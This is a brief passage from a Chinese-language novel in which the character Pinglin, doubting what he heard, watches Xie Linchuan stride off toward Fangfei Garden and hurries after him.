平林以为自己听错了，忙把耳朵掏了掏。 他见谢临川大步流星，真往芳菲苑去了，就爬起来跟上去。